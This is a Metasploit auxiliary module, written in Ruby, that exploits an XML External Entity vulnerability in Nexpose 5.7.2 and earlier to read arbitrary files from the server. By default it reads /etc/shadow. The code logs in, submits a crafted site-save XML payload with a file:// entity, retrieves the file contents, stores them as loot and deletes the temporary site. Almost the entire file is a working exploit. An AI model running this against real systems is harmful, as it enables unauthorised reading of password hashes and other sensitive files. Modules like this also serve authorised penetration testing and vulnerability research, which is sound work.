##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nexpose'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nexpose XXE Arbitrary File Read',
        'Description' => %q{
          Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
          of vectors. This vulnerability can allow an attacker to a craft special XML that
          could read arbitrary files from the filesystem. This module exploits the
          vulnerability via the XML API.
        },
        'Author' => [
          'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
          'Drazen Popovic <drazen.popvic[at]infigo.hr>',  # Independent discovery, alternate vector
          'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>'      # Independently reported
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]
        ],
        'DefaultOptions' => {
          'SSL' => true
        }
      )
    )

    register_options(
      [
        Opt::RPORT(3780),
        OptString.new('USERNAME', [true, 'The Nexpose user', nil]),
        OptString.new('PASSWORD', [true, 'The Nexpose password', nil]),
        OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/shadow'])
      ]
    )
  end

  def run
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    trust_store = datastore['TRUST_STORE']

    nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store)

    print_status('Authenticating as: ' << user)
    begin
      nsc.login

      connection_details = {
        module_fullname: fullname,
        username: user,
        private_data: pass,
        private_type: :password,
        status: Metasploit::Model::Login::Status::UNTRIED
      }.merge(service_details)
      create_credential_and_login(connection_details)
    rescue StandardError
      print_error('Error authenticating, check your credentials')
      return
    end

    xml = '<!DOCTYPE foo ['
    xml << '<!ELEMENT host ANY>'
    xml << %(<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">)
    xml << ']>'
    xml << '<SiteSaveRequest session-id="'

    xml << nsc.session_id

    xml << '">'
    xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
    xml << '<Hosts>'
    xml << '<host>&xxe;</host>'
    xml << '</Hosts>'
    xml << '<Credentials />'
    xml << '<Alerting />'
    xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
    xml << '</Site>'
    xml << '</SiteSaveRequest>'

    print_status('Sending payload')
    begin
      fsa = nsc.execute(xml)
    rescue StandardError
      print_error('Error executing API call for site creation, ensure the filepath is correct')
      return
    end

    doc = REXML::Document.new fsa.raw_response_data
    id = doc.root.attributes['site-id']

    xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"

    print_status('Retrieving file')
    begin
      fsa = nsc.execute(xml)
    rescue StandardError
      nsc.site_delete id
      print_error('Error retrieving the file.')
      return
    end

    doc = REXML::Document.new fsa.raw_response_data

    print_status('Cleaning up')
    begin
      nsc.delete_site id
    rescue StandardError
      print_warning('Error while cleaning up site ID, manual cleanup required!')
    end

    unless doc.root.elements['//host']
      print_error('No file returned. Either the server is patched or the file did not exist.')
      return
    end

    path = store_loot('nexpose.file', 'text/plain', rhost, doc.root.elements['//host'].first.to_s, "File from Nexpose server #{rhost}")
    print_good('File saved to path: ' << path)
  end
end